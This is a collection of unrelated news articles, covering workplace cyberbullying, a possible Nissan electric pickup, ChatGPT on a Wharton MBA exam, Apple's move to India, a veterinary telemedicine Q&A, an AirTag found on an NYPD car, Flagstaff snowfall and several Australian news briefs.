It can take many forms, such as offensive or threatening emails. Aside from this, here are other forms of workplace cyberbullying:

Other employees spread gossip about you.

Other employees create social media campaigns that can disparage your image.

Other employees make false accusations about you.

Other employees post or share negative, harmful, or false content about you or the things you do.

If ever you experience some of these harassments, here's what you can do:

Before confronting bullies, you need to gather your thoughts first.

There are some instances when other staff sees their actions as a simple joke. If this is the case, the best thing you can do is talk to them privately and explain how it negatively affects you.

If bullies in your work persist, take screenshots of the posts they share. These will serve as evidence once you file a complaint to HR.

If the HR or your boss don't take action to stop these workplace cyberbullies, you can contact the police; remember to show them the screenshots you took.

Preventing Workplace Cyberbullying

Although workplace cyberbullying is hard to prevent since it depends on the people around you, CCOHS (Canadian Center for Occupational Health and Safety) said that there are things you can also do.

These tips are not 100% efficient when it comes to preventing workplace cyberbullying, but they are still worth trying:

Avoid sharing too much personal information in your workplace unless your company requires you to do so.

Make sure that your computer is always logged out when working hours are over. Lock your PC if you are going for a break or lunch.

Use a gender-neutral email address if necessary.

Other cyberbullying stories we recently wrote:

In 2015, New Zealand decided to launch digital legislation to crack down on cyberbullying.

In that same year, an insurance company decided to include cyberbullying coverage as part of its service.

For more news updates about cyberbullying and other online harassment, keep your tabs open here at TechTimes.

Related Article: Michigan Woman Gets Caught Cyberbullying Daughter Through Catfishing, Gets Charged With Felony

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Nissan is exploring the release of a mid-size electric pickup similar to its Frontier for US buyers, as reported by Electrek.

(Photo : Scott Olson/Getty Images)

CHICAGO, IL - FEBRUARY 06: Fred Diaz, Senior Vice President of Nissan sales and marketing, introduces the Cummins Diesel powered Frontier truck at the Chicago Auto Show on February 6, 2014 in Chicago, Illinois.

It took ten years for the automaker to release its second Electric Vehicle (EV), following the Leaf back in 2011.

The company's Nissan Ariya, an electric crossover, was delayed several times, but it seems the company's now on the right track and is poised to release more EVs soon.

In February 2022, the Japanese automaker announced its plans to invest $500 million in its Canton Vehicle Assembly plant in Mississippi to transform it into a center for US production. Along with the plan is two all-new, all-electric vehicles.

However, the company didn't specify what EVs will be built. However, the Canton facility mainly manufactures pickup trucks, which is why there were rumors that Nissan would start producing an electric truck.

Nissan Electric Truck

According to Automotive News, the company finds it's only logical to bring an electric version of the Nissan Frontier, specifically its hardbody that has been a part of the brand for years.

Dealers are also requesting a mid-size pickup, like the frontier. It seems that the company is sold on the idea, especially that making electric trucks will reduce operating costs.

Nissan said production of the two electric vehicles at the Canton plant is planned to start in 2025.

Also Read: Nissan Leaf to Phase Out Soon, Reports Claim It Faces Challenge in Modern EV Demands-New Leaf Coming?

The Growth of Electric Pickups Today

It seems that there are more car manufacturers that are considering making electric pickup trucks. General Motors (GM) is considering producing a small electric pickup that will be a part of its affordable EV lineup. The compact electric pickup truck is expected to be smaller than the Nissan Frontier.

Electric pickup trucks are becoming the hottest and most desirable EVs on the market today due to the impressive releases of Rivian, Ford, and GMC. Now, more automakers are following suit.

Electric pickups provide a new way to haul around gear and explore the outdoors. What makes them even better is that they offer massive torque with a near-instantaneous response.

Besides Nissan, there are more electric pickup trucks coming this year. One of Alpha Motor Corporation's Wolf has started taking reservations, while Canoo's unique EV pickup is also worth waiting for.

There is also the 2024 Silverado EV that rides on the same dedicated EV architecture as the GMC Hummer. Ford might also release a new pickup truck, which is the electric version of its Ranger.

Nissan's electric pickup, should it go ahead with its plans, will likely be mid-size, such as the Rivian R1T. By releasing a more compact and affordable electric truck, Nissan will have a better portfolio that will enable them to gain traction again in the EV market.

Related Article: Nissan Revealed a Modified Vintage Electric Truck with Its Leaf Motor

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Recently, ChatGPT has grabbed attention with its ability to pass an MBA exam with a B/B grade. This AI bot has created a buzz amongst entrepreneurs, business professionals, and teachers alike, who are curious to see how this bot will change the future.

ChatGPT Self-Corrects to Match the Problem

According to the story by Giz China, ChatGPT excels at basic operations management and process analysis questions based on case studies and can expand upon those answers. It can also correct itself when it fails to match a solution method with a presented problem.

Despite this, ChatGPT is still in its infancy and is not as sophisticated as some would wish. That said, the current version of ChatGPT can't handle more complex process analysis questions and makes mistakes in easy calculations.

Billionaire Mark Cuban Shares His Thoughts on ChatGPT

Billionaire entrepreneur Mark Cuban has noted that "imagine what GPT10 is going to look like" and that the time when AI bots become the main source of productivity is closer than expected. The potential implications of ChatGPT are vast.

High-school teachers have started thinking of ways to prevent students from cheating on homework, while Wharton School of Business graduates note that AI bots like ChatGPT could one day become part of the world's middle and senior managers. At the moment, ChatGPT is still a developing project.

Professor Christian Terwiesch Shares How Chat GPT3 Took the Wharton Operations Management MBA Exam

Professor Christian Terwiesch of Wharton shared how they tried to use Chat GPT3 to take their Wharton Operations Management MBA exam, as further detailed in an article by Fortune, and the results showed that the AI could achieve a B/B score.

I had @OpenAI Chat GPT3 take my @Wharton Operations Management MBA exam. It got a B/B-. Is that good or bad news? Can we replicate this at other schools / subjects? Some implications are in this @MackInstitute report https://t.co/fFeNVyddGc pic.twitter.com/e990xUmD6u  Christian Terwiesch (@terwiesch) January 17, 2023

ChatGPT and Its Capabilities for Students

Its capabilities will only get better as time passes. As such, it is important for professionals, educators, and entrepreneurs to stay informed about the advancements made with this AI bot and its potential impacts on how we do business in the future.

Students' use of automated chatbots, such as ChatGPT, to complete schoolwork is becoming increasingly common. While these systems can be incredibly helpful for students, there are significant risks associated with their use.

Problems with ChatGPT and Dangers It Presents

Automated systems like ChatGPT cannot understand the nuance and context of the material they are being asked to learn and may produce incorrect answers without the user's knowledge.

Students could also wreck their future academic performance by relying on faulty information and advice, particularly in the higher-level sciences and mathematics. Using an automated system to complete schoolwork can rob students of important learning opportunities.

Read Also: Avatar's Motion AI Tech Helps Researchers Detect Rare FA and DMD Disorders Six Months Ahead of Doctors

Professors are Sharing Fears of ChatGPT Use in School

Since the system lacks the capacity to think critically or analyze complex material, there is a risk that students who come to rely on it will not gain the necessary skills to be successful later in life.

Students may use automated systems to "cheat" on their schoolwork and assignments. Professors are now catching students using ChatGPT to answer schoolwork and are now sharing the "terror" they feel with having a computer answer tough questions, as noted in an article by the New York Post.

Related Article: FBI Director Expresses Concerns over China's AI Program During WEF 2023

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Apple, the Cupertino tech giant, is gradually shifting its production focus away from China, and India is set to become its new go-to production hub. The Indian Trade Minister recently announced that Apple plans to produce more of its products in India, to produce around 25% of all its products in the country.

Apple Supplier Foxconn is Trying to Ramp Up Its Efforts in Increasing Its Workforce in India

According to the story by Giz China, Foxconn, the company responsible for manufacturing iPhones and other Apple products, is increasing its workforce in Chennai, India, in preparation for this shift.

This comes as part of Apple's strategy of diversifying its production points to minimize the effects of geopolitical tension between China and the US and the uncertainties around the coronavirus pandemic, as further discussed in an article by GSM Arena.

Apple Wants 25% of Its Production in 2025 to Happen in India

According to Reuters, some analysts have speculated that this target of producing 25% of its products in India might be achieved by 2025. However, at the time of writing, no specific timeline or confirmation of the report has been made by either Apple or the Indian government.

Having a fraction of Apple's production in India might incur more costs than when it was produced in China, as well as potentially affecting the quality of hardware, but the benefits of diversifying their production bases should outweigh that. Apple is already producing some of its products in India, and any expansion plans should be welcomed.

Apple is Trying to Shift Its Production Away from China and Into India

Apple is making a major shift in its production strategies, away from China and increasingly toward India. This move is expected to have a significant global economic impact.

The move represents a major economic impact for both India and China. It's estimated that Apple's production shift in India will generate approximately five to six billion dollars in direct economic activity over the next five years.

The Company's Decision Could have Far-Reaching Economic and Social Consequences

This money will be largely invested in local economies, enabling the growth of local businesses, creating jobs, and stimulating economic growth.

Apple's decision to increase its production in India and move away from China will likely have far-reaching economic and social consequences. The impact of the decision will be felt in both countries, with India set to reap the added benefits of increased investment and jobs.

Read Also: Apple 'Reality Pro': New Details Revealed on Mixed-Reality Headset, Release Window, and MORE

The Move Could Mean Millions of Apple Products Will be Produced in India's Factories

This reversal of production means Apple will soon be manufacturing millions of products such as iPhones, iPads, and MacBooks from factories in India. While India gains jobs and economic development, Chinese factories will be hit the hardest with the decreased production.

In the end, the movement of Apple's production to India will no doubt raise the country's cost competitiveness to a global level.

Related Article: Apple iPhone 15 Ultra Might Feature a New Periscope Zoom Lens - Made by LG?

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Microsoft and OpenAI announced its extended partnership that centers on a multi-billion dollar investment to the famous artificial intelligence company, to continue its work and focus on new ventures. In particular, the companies said that it would soon be working on "supercomputing at scale," one that would help further OpenAI's research.

For several years now, Microsoft has been funding OpenAI, from 2019, 2021, and the present, with the companies extending their partnerships and investments at two-year increments.

Microsoft Extends Partnership with OpenAI

(Photo : Microsoft Blog)

According to a press release by OpenAI, Microsoft and the company has extended its partnership again this 2023, and it also centers on a "multi-billion dollar investment" that both companies did not reveal. The AI company claimed that this investment will allow them "to continue our independent research and develop AI that is increasingly safe, useful, and powerful."

The partnership centers on a mutually beneficial setup, as OpenAI claimed that it helped create multiple supercomputers powered by Microsoft Azure. It is what the AI company uses to train its models and creations.

Microsoft said in its statement that it will center on "supercomputing at scale," to help "OpenAI's groundbreaking independent AI research."

"In this next phase of our partnership, developers and organizations across industries will have access to the best AI infrastructure, models, and toolchain with Azure to build and run their applications." said Microsoft Chairman and CEO, Satya Nadella.

Read Also: A Collective of Artists and Scientists, Waken.ai, Reimagines ChatGPT for AI Self-Reflection

How Much Did Microsoft Invest?

The company did not divulge how much Microsoft invested in OpenAI, but previous reports claim that it is around $10 billion, mostly centering on creating Office Software.

The extended partnership of Microsoft with OpenAI will make more of the AI technology accessible to the public, with Azure also in charge of making it available via its platform.

OpenAI's Artificial Intelligence

The famous startup company from Sam Altman, Elon Musk, Peter Thiel, Reid Hoffman, Jessica Livingston, and more from 2015 have gained massive fame in their services available to the world. One of its earliest ventures was the DALL-E, an AI art generator that creates artwork from scratch and text commands, also famous for its contributions to NFTs.

OpenAI's system also helps in creating stock photos for specific needs, and it is available through Shutterstock's website for all subscribers of the platform.

Also, its most controversial technology available now is ChatGPT, an online service from the company which can create content, essays, scripts, and other text-based material that center on its AI's creation.

OpenAI gained massive fame from the release of its different technology which is available for the public to use, centering on different online content generated by its artificial intelligence to do the bidding. Microsoft has a long-standing partnership with OpenAI, and it shows that it wants to continue this relationship, investing in the company to expand more of its services and features.

Related Article:Microsoft to Commercialize OpenAI's Tools; All Products to Have AI Features Like ChatGPT

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Q: My doctors office provides telemedicine consults where I can talk to a doctor without going into their office. Is that becoming a service that veterinarians might offer in the future?

A: The pandemic caused all of us to drastically change how we go about living our lives. Some of those changes have become permanent, including the surge of telemedicine use within the human medical field.

This service allows you to have a contactless appointment with a doctor and receive medical advice from the comfort of your home. This was a fantastic tool during the pandemic because you could receive medical care without the risk of exposure to COVID-19. It has continued to be an excellent tool for situations where it may be challenging for someone to get to a doctor or for basic health issues.

During the pandemic, the veterinary community also attempted to integrate telemedicine into their daily routines to try and help provide the same service to their clients. However, it did not take off in the same way it did in human medicine, and there has been much discussion as to why and whether it may ever be a service that will be beneficial to animal owners.

There are many reasons why telemedicine can be challenging in veterinary medicine; the most glaring issue is that animals cannot talk. In human medicine, a dialogue between the doctor and the patient is vital to diagnosing and treating medical issues.

Of course, veterinarians rely on our human clients' observations of their animals, but we also rely heavily on our physical examinations of the animals to diagnose the illness or injury. Diagnosing and treating complicated medical issues can be challenging, if not impossible, without examining an animal thoroughly in person. This task is impossible via telemedicine.

The second issue affecting our usage of telemedicine is that there needs to be one telemedicine platform for veterinarians to use that can assist with the unique issues we deal with when treating animals.

Several veterinary telemedicine startup companies were formed during the pandemic. Still, none of them were very user-friendly, and they caused more stress and work for the veterinary staff.

It became apparent that it was also stressful for the owners to get their animals in the camera frame for the appointments. Visually observing the animal is an essential part of any veterinary appointment, and getting an animal to comply with standing in front of a computer when asked can be an almost impossible task. Getting an animal to comply with an exam in person can sometimes take two or three people, so asking a client to perform this task at home is unreasonable.

The third issue the veterinary community battled with during the pandemic was that all veterinary clinics across the country were overwhelmed by the number of animals they had to treat. Most clinics were trying to keep their heads above water with the urgent cases coming in the door to the point that implementing another tool that would bring more work for their veterinary staff was not even an option.

Telemedicine has the potential to be helpful in veterinary medicine in the future; however, there has to be a collective discussion as to when and why we would use it. Additionally, the platform we would all utilize must support the unique challenges we face in veterinary medicine.

Q: If you could tell all your clients just one piece of advice that you felt was the most important for their pets' longevity, what would it be?

A: If you knew me, you would know the answer to that question! No matter the species, no matter the ability, some form of daily physical activity, every single day, is the answer to increasing life expectancy!
Apple's AirTag, a coin-sized tracking device that connects to the company's "Find My" network, was discovered hidden under the hood of a marked NYPD car in Queens, New York, according to a report by AppleInsider.

The device was discovered on Sunday, Jan. 22, but how the police found it is unknown. However, officers were most likely alerted to its presence through Apple's anti-stalking features, which would have sent a notification to their iPhones.

Concerns for Malicious Use of Apple AirTags

NYDailyNews reports that the AirTag was discovered sealed in a small plastic bag, prompting NYPD Chief of Housing Martine Materasso to alert officers to be extra cautious in their inspections of marked cars, which are supposed to be performed before and after tours.

Because it is unclear who placed the device under the hood of the police car and for what purpose, the incident has raised concerns about the potential for malicious use of AirTags.

Apple previously stated that AirTag was created to assist people in finding their personal belongings, not to track people or other people's property. The company has strongly condemned any malicious use of the product.

Read Also: Apple' Reality Pro: New Details Revealed on Mixed-Reality Headset, Release Window, and MORE

However, this incident highlights the device's potential for nefarious use, particularly in the context of anti-police sentiment seen not only in New York City but across the United States, Materasso stated.

In light of the incident, the NYPD has urged its officers to maintain heightened vigilance and to continue looking out for one another.

The Apple AirTag

The AirTag is a tiny, coin-shaped gadget that can be attached to personal items like keys, wallets, and bags. Users can track the location of their belongings using the "Find My" app on their iPhone or iPad using the AirTag. It was introduced in April 2021.

iPhone users can utilize the device to track the location of other Apple devices signed into the same iCloud account. It uses Bluetooth and ultra-wideband technology to communicate its location to nearby Apple devices.

Apple has been actively collaborating with law enforcement on all AirTag-related requests received.

Every AirTag, according to the Cupertino-based company, has a unique serial number, and paired AirTags are linked to an Apple ID. In response to a valid subpoena or request from law enforcement, Apple can provide the paired account details.

Multiple Cases of Misuse

This is not the first incident of AirTags being used for malicious purposes. In November 2022, investigators from the Moorabool Crime Investigation Unit of the Victoria Police successfully seized a stolen weapon, ammunition, and valuables using an Apple AirTag. The cops were conducting routine patrols when they discovered the location of the pinging AirTag. They then made two arrests.

Meanwhile, in December 2022, Apple AirTag's safety feature allegedly repels a stalker in Iowa who reportedly pretended to be the victim's partner.

When police arrested the suspect, he claimed to be married to the victim. But, as it turns out, they never had a relationship.

Stay posted here at Tech Times.

Related Article: Apple AirTag Safety Features Reportedly Fends Off Stalker After Multiple Attempts

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Flagstaff Unified School District had a two-hour delayed start on Monday, Jan. 23, due to winter weather.

This means that all district schools started two hours later than usual and released at the regular dismissal time for a full day of school.

Other K-12 schools also announced delays due to the weather, including Northland Preparatory Academy, Flagstaff Junior Academy and Flagstaff Arts and Leadership Academy.

The district canceled three out of four days of school last week due to a large winter storm over the first half of that week. According to the National Weather Service, accessed around 8 a.m. Monday, the Flagstaff airport received another 2.5 inches of snow through Sunday night into Monday morning..

Morning buses for the district will also be running two hours later than usual, with alternate stops used for Kachina Village, Munds Park and Mountainaire during both the morning and afternoon. A full list of alternate bus stops and times is available at fusd1.org.

Breakfast will be available for district students at the delayed start time on Monday. Meals are not delivered to classrooms when there is a delayed start, so all students will need to go to the cafeteria to receive breakfast.

The FACTS before-school program will be open from 7:30 a.m. to the start of school, only for students who were already scheduled to attend.

FUSD plans to communicate additional changes or cancellations in a variety of ways, including email, text, phone calls and social media. More about the districts snow policies can be found online at fusd1.org/domain/30.

The National Weather Service forecast finally calls for a reprieve from the snowy conditions, with sunny skies through next weekend. Temperatures will remain chilly throughout the week, with most highs in the 30s and lows approaching single digits in the middle stretch.
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As of Monday morning, snowfall in Flagstaff hit a cumulative 60.4 inches for the month of January, making it the third snowiest January since record-keeping began in 1898. The number is just 3 inches behind the second place spot of 63.4 inches, set in 1980, but a far cry from the highest record of 104.8 inches set in 1949.

According to the National Weather Service (NWS), normal snowfall for the month is considered 20.4 inches. The snowfall that has ushered in 2023 is the result of a string of highly active weather systems, said Reggie Roakes, meteorologist with the NWS station in Flagstaff.

As opposed to the warm weather Flagstaff experienced in December, which Roakes explained occurred in opposition to the cold snap that brought extreme frigidity to the eastern U.S., January has been characterized by the onslaught of atmospheric rivers in the jet stream  the same that are bringing floods to northern California.

These atmospheric river events are where you get the jet stream just flowing perfectly off the Pacific Ocean into continental U.S. Roakes said. It's just pumping moisture. Here in Arizona, or at least the northern half, were able to take advantage of what moisture is left over after it makes it over other ranges in California.

These weather systems have been occurring in defiance of general climatological expectations of a dryer, La Nina winter, Roakes said, which can sometimes occur when smaller scale influences drive weather patterns away from broader predictions.

Right now, the prediction is for [the El Nino-Southern Oscillation] to start transitioning more to neutral phase, he added.

Record snowfall has also amassed significant snowpack in the area. SNOTEL data from the National Water and Climate Center shows that the San Francisco Peaks are packed with enough snow to equal 18.3 inches of rain. The median peak snowpack for San Francisco Peaks equates to 16.8 inches of rain.

As for what lies ahead, the snowpack has already set us up pretty well, Roakes said. That's going to be influencing our temperatures from here for a while to help keep temperatures down, at least with nighttime lows.

Lows are expected to hover around 10 degrees Fahrenheit for the remainder of the week. Cold temperatures have two major benefits following heavy snowfall, Roakes explained. The first is that it helps prevent all the current snowpack from melting and flooding drainages  a possibility that Roakes said is not a concern due to current cold temperatures.

The second is that the colder the weather, the longer the snowpack will stay into the spring, preserving moisture to stave off fire season.

If we started losing the snowpack too early, then that could start influencing us come April, May, Roakes said.

And while its too early to say what February and March will bring, Roakes said that current patterns are expected to hold for a while.

The indication is that we're going to be staying on the cooler side, with a system at least every couple of days to a week to help bring a couple additional shots of moisture, Roakes said. So definitely not drying out, thankfully.

The next shot of moisture  and snowfall that could potentially tip January 2023 into the number two slot for snowiest month on record  is expected early next week.

A look at 1949: The snowiest January on record

While January 2023 has been notably snowy for Flagstaff, it fails to approach the 104.8 inches accumulated during the same month in 1949.

There are, however, some similarities between the two years.

The pattern of frequent weather events in 2023 is exactly what you could say happened in 1949 as well, Roakes said. It just added up and added up. There were only really two or three days [in January 1949] that there wasnt significant snowfall.

On Monday, Jan. 24, 1949, the Arizona Daily Sun headline read January Snowfall Passes 7-Foot Mark, while subsequent columns reported a state of emergency declaration alongside the closures of highways and schools. The first line of one such column described, with palpable exhaustion, the two feet that had fallen since Saturday before stating The forecast calls for more snow today, tonight, and Tuesday.

In the editions that followed, the Daily Sun reported on the unpassable roadways, ranchers unable to reach cattle through heavy snowdrifts and even snowfall in Tucson that caused brief cancellation in out-of-town deliveries of their newspaper. The Jan. 31, 1949 edition also reported the death of Williams man Steve Wilson, who succumbed to exposure while attempting to ski into town to retrieve food and provisions.

Curiously, the Jan. 25, 1949 edition reported that while the years snowfall was unmatched in the records kept since 1898, we find that in 1895 an entry was made of 126 inches of snow in January. It notes this entry is unofficial because it occurred three years prior to the establishment of the weather bureau in Flagstaff.

When it comes to the record breaking snowfall of January 1949, It wasn't just Arizona, Roakes said. It was Utah, Wyoming  widespread snowfall across the entire Western U.S.

Impacts were greatest on the northern plains where The Blizzard of 1949 and subsequent storms produced monstrous snowdrifts. According to the NWS website, Roads and railroads were blocked, so airplanes were used to bring food and medical supplies to isolated towns and hay to livestock. Average wind speeds topped over 50 mph, with gusts in excess of 77 mph. Across South Dakota, Wyoming, Colorado and Nebraska, nearly 40 people died from weather exposure.

At the time, Rapid City Weather Bureau Office Meteorologist-in-Charge Fred H. McNally wrote This is rated as the most severe blizzard in Rapid City history, considering wind, snow and temperature factors.
Baton Rouge Community College will close at 3 Tuesday, due to weather. Shown here, the Bienvenue Student Center.
The willow trees and cutgrass emerging in this swampy stretch of St. Charles Parish west of the Mississippi River are in some ways Louisianas past brought back to life. They could also be its future.
Bahrain civic authorities have proposed a new model public park at a premium residential city in the kingdom - Salman Town, reported the Gulf Daily News, our sister publication.

Its key highlight will be the Butterfly Garden in addition to a marine aqua park as well as green spaces spread over a 114,344 sq m area, it stated.
Maya Glorioso, right, hugs her father-in-law, Joseph, 81, as they pack some clothing for him to take as he figures out where to live after his roof was partially torn off during a tornado in Gretna. Joseph Glorioso said they were waiting for the insurance adjuster to stop by before leaving the house on Thursday, December 15, 2022. (Photo by Chris Granger | The Times-Picayune | The New Orleans Advocate)
Faimon Roberts III covers rural communities in Louisiana. His work is supported by a reporting grant from the Microsoft Journalism Initiative and is administered by the Greater New Orleans Foundation.

He can be reached at froberts@theadvocate.com.
As Elon Musk was giving his second day of testimony in San Francisco about his 2018 Tesla go-private tweet, his wealth was increasing by the most in more than two months.

Musks fortune has swelled by about $US10.6 billion ($15.1 billion) to $US145.2 billion since taking the stand on Friday in the US, according to the Bloomberg Billionaires Index, the biggest two-day gain since November. His net worth has rebounded this year along with the majority of the worlds 500 richest people as markets bounce back from a turbulent 2022.

Elon Musks fortune plunged in 2022, but he is in the black this year. Credit: AP

Musk, 51, is facing a securities-fraud lawsuit stemming from his tweet in August 2018 in which he said he was considering taking Tesla private at $US420. Funding secured. Investors are arguing that his claims about having the money to take the electric carmaker private amounted to lies that saddled them with big losses before the plan was abandoned. Musk has maintained that theres no causal link between his tweets and the share-price move (Tesla stock rose as much as 13.3 per cent on the day of the take-private tweet).

Its not clear which way the federal jury trial will go. Musk told Saudi investors in 2018 that he didnt own enough of Tesla to take it private by himself, according to a transcript of the conversation disclosed in a proposed court filing Monday. Musk maintained that the Riyadh-based Public Investment Fund unequivocally wanted to take Tesla private and accused Yasir Al-Rumayyan, the governor of Saudi Arabias sovereign wealth fund, of backpedaling.
Borland was holidaying in the Greek islands when she noticed the incredible shadows her body cast on the ground. She started capturing those images on her phone and continued to take pictures of herself when she got home. Detail of Polly Borlands photograph Nudie (1), 2021. Credit: Polly Borland Sculpture is the Melbourne-born artists latest passion, even though she realises now she has been working her way towards it for some time. It has revitalised her and ushered in a whole new chapter for her art. During lockdown, Borland was trapped for 18 months in Byron Bay, arguably one of the best places in the world to find oneself in such a scenario, where she met and worked with the artist Karla Dickens, also the creative director of the Art Byron festival; Dickens portrait by Blak Douglas won the 2022 Archibald Prize. Its given me a whole new energy in my relationship to my work. Australian photographer Polly Borland, on her newfound passion for sculpting

They went to a dinner together literally in the middle of nowhere and Dan Tobin of Urban Art Projects (UAP) was there, known for his work with artists Lindy Lee, Phillip K Smith and Ai Weiwei. Borland approached him at the end of the night and he invited her to the foundry in Brisbane. That serendipitous meeting marked the beginning of a significant next phase of her evolution. I dont usually have those moments of the stars aligning, and then all of a sudden Ive landed this incredible opportunity, Borland says. He just said, You are creating sculpture in your photographs and we want to take the sculpture out of the photographs and into the real world. Its given me a whole new energy in my relationship to my work and hopefully the worlds relationship to my work. I love it! I was creating sculpture but it couldnt last because it was on people. All the Morph photos, which were done live, I was dressing people, enveloping people in these weird costumes. Morph featured a series of people in various costumes shed designed, including her good friend Nick Cave in a sparkly dress, his face covered by a sheer stocking and eyes obscured by a bright blue wig, with a bright red slash of lipstick across his mouth. I had to give myself over to this process of being degraded. That was kind of really exciting, Cave told Polymorphous, a documentary about Borland released in 2013. She was already thinking kind of sculpturally: her tapestries from around 2017 are double-sided. I was beginning to reuse the photos actually, using single photographs and then fusing them together for the lenticulars, then I created a double-sided one...

While in enforced exile in Byron, she was shocked to see then Prime Minister Scott Morrison on the news wearing an Akubra; it struck her that Australia continued to be a colonial outpost. Detail of Borlands HM Queen Elizabeth II, 2002. Credit: Courtesy of the artist and Murray White Studio. Since her stunning 2002 portrait of Queen Elizabeth, commissioned to celebrate the Royal Jubilee and one of the only official Royal photographs to zoom in close to her majesty, Borland has grappled with the fact she played a part in the propaganda machine as she describes it; a version of the portrait takes pride of place in the toilet at her LA home. At Prahran College aged 18, Borland fell in love with photography, which she says gave her a way of ordering the world, in a life which up until then had been quite chaotic. It was more than a way of documenting things, it was a way of creating work as an artist. Like Cave, Borland has lived away from Australia for more than three decades: in 1989, she moved to the UK and since 2011 has been based in LA. She is married to filmmaker John Hillcoat and has a son, Louie, who is studying music at college in the US; Louie appeared in her Not Good at Human series.
Indigenous rockers from Arnhem Land, Korean-Australian rappers from Sydney and a female hip-hop artist from Zambia headline a diverse new generation of musicians shortlisted for the 18th Australian Music Prize.

Five of the nine acts nominated for the $30,000 album award in a shortlist announced on Tuesday are female solo artists or women-only groups, while three male acts come from a culturally and linguistically diverse (CALD) community.

Australian Music Prize nominees (clockwise from top left) Sampa the Great, 1300, Camp Cope lead singer Georgia Maq and King Stingray singer Yirrnga Yunupiu. Credit: Rick Clifford, Rhett Wyman and Nate Hill

Alongside First Nations group King Stingray, Korean rap quintet 1300 and Zambian-born Sampa the Great, the shortlist includes Body Type, Camp Cope, Julia Jacklin, Laura Jean, Party Dozen and Tasman Keith.

1300 rapper Jason Vuong (aka Pokari.sweat) said it was pretty incredible his group was part of a diverse shortlist of top Australian music when much of their nominated album Foreign Language was in Korean.
Property experts say there is a window of opportunity for cashed-up investors who have been keeping their powder dry during the pandemic to take the plunge before house prices start another cycle of growth.

With most of the slide in prices likely over, interest rates not expected to rise by much more, and rents to remain elevated, analysts say the stars are aligning, however, much will depend on what the Reserve Bank of Australia (RBA) does from here.

After the falls in prices since the start of COVID-19, property investors who make their move could get in at bargain prices before the next upswing in prices. Credit: Simon Schluter

SQM Research founder Louis Christopher expects prices to start to recover in the second half of this year as long as the cash rate set by the RBA peaks below 4 per cent. Currently, the cash rate is 3.1 per cent.

He expects Australias central bank may lift rates in February and perhaps also in March as inflation peaks, and then leave rates on hold. The RBAs next meeting is on February 7, with markets expecting the cash rate to peak at 3.5 per cent in the first half of this year.
Loyalty scheme members are cashing in their rewards points faster than usual and more are redeeming their points for the first time in response to the nations cost-of-living squeeze.

Commonwealth Bank (CBA), which has the biggest credit card reward program of all the big four banks, says it is seeing a spike in redemption volumes.

Loyalty programs are being used by more consumers, but sometimes bigger savings can be made by shopping for the lowest prices, regardless of reward points Credit: iStock

Marcos Meneguzzi, the executive general manager of consumer finance at CBA, said redemption volumes in December 2022 were up 15 per cent from December 2021.

The fastest growing redemptions in the last year have been on travel, and our most popular redemptions are pay with points, cashback, supermarket, petrol and retail gift cards, Meneguzzi says.
In August 2019, then minister for Indigenous Australians Ken Wyatt used the Vincent Lingiari Memorial Lecture in Darwin to rule out enshrining a Voice to parliament in Australias Constitution.

As the first Indigenous person to occupy that ministry since its creation in 1968, Wyatt conceded that his decision to aim for basic recognition of Indigenous Australians rather than a Voice would break hearts, but cited the nations history of voting No in referendums, with only eight out of 44 propositions winning approval.

Polling conducted by the Resolve Political Monitor for The Age this week suggests his fears were justified. To succeed, the referendum requires both a majority nationwide and a majority of states, and the polling shows support for a Yes vote declining, not only recently but also over the longer term.

Resolves director Jim Reed says the recent drop is about voters feeling they dont have enough information to make what they regard as an important decision ... This is about knowing what the make-up, powers, scope and outcomes of the Voice will be. It is not a public rejection of Indigenous recognition at all, and should not be confused with that.
Parents will pay almost $1 million to educate two children at Sydneys most expensive private schools over a 13-year period, with extras like laptops, musical instruments and uniforms costing more than $5000 a year.

Sydney is the most costly city in Australia for private schooling, but the most affordable for a Catholic education, which will set parents back $178,478 for a child to attend kindergarten to year 12, according to analysis by education finance company Futurity Investment Group.

Jolina Crescini, who has five children enrolled in Catholic schools, said laptops were particularly expensive this year Credit: Rhett Wyman

The research found the average cost of sending two children to a Sydney private school for 13 years stands at $715,862.

However, a family enrolling a child at Kambala at Rose Bay the most expensive school in Australia will now pay $514,100 for 13 years of schooling for one child a figure which does not include future fee increases, extra costs such as uniforms or any outside tutoring.
One of two men killed in a fiery crash after a police pursuit in Sydneys inner west on Tuesday was banned from driving for three years and serving a sentence in the community for reckless driving, which he planned to appeal this week.

Seifeddine Malas, 27, and Jebriel Dandan, 24, were killed when the Audi they were travelling in crashed on the westbound on-ramp to the M4 motorway in Homebush and became engulfed in flames shortly after 12.30am.

Seifeddine Malas, left, and Jebriel Dandan, who both died in the M4 crash.

Court documents show Malas was banned from driving after he pleaded guilty in June to driving recklessly or furiously or in a speed or manner dangerous  his second such offence. He was disqualified from driving for three years and sentenced in September to a nine-month term, which he was serving in the community.

Malas was planning to appeal that sentence in the NSW District Court on Thursday. Instead, his life was cut short, along with that of his friend, in another instance of dangerous driving.
The Victorian government has refused to commit to adopting laws that would allow potential domestic violence victims to access the criminal records of new partners, despite some family violence groups and the opposition backing the changes.

On Monday, NSW Premier Dominic Perrottet announced the trial of a scheme that would let people at risk of domestic violence check if their partner has been convicted of similar offences.

Victorian Premier Daniel Andrews and NSW counterpart Dominic Perrottet (right). The Andrews government will not commit to a Right to Ask scheme similar to that being trialled in NSW. Credit: Jules Boag

Under NSWs 12-month Right to Ask trial  based on Britains domestic violence disclosure scheme known as Clares Law  police will be given the power to disclose relevant information about a perpetrator to new partners via an online portal or phone line. The information must first be approved by police and undergo privacy controls.

The reform is expected to be discussed at an online safety forum later this week, which will be attended by state and federal ministers, tech giants and the eSafety Commissioner.
A 16-year-old boy who fatally stabbed a good Samaritan for trying to retrieve a stolen bike from him in Bull Creek last year has been found guilty of murder.

The jury in the trial of the boy, who cannot be named for legal reasons, took seven hours to deliberate on whether he intended to kill Petr Levkovskiy, 42, or whether he should be found guilty of the lesser charge of manslaughter.

The boy was just 15 at the time of the offence in May 2022.

During his nine-day trial in the Supreme Court of Western Australia, the jury heard how Levkovskiy tried to intervene to retrieve a $500 mountain bike which the teen had just stolen from a 10-year-old boy before being stabbed in the abdomen and later dying of his injuries.
West Australian scientists studying miniscule grains of dust collected from an asteroid have forced a major rethink on the orbiting clumps of rock and rubble through research which could one day help protect the planet from a major impact.

The Japanese spaceship Hayabusa rendezvoused with asteroid Itokawa in 2005 to collect a sample before returning to Earth, landing in the South Australian outback in 2010.

An artists impression of asteroid Itokawa, a rubble-pile asteroid visited by the Japanese spaceship Hayabusa.

Since then, researchers have been studying the roughly 1500 grains retrieved, hoping to learn more about the make-up of Itokawa, which is part of a bunch of asteroids orbiting close to Earth dubbed the Apollo group.

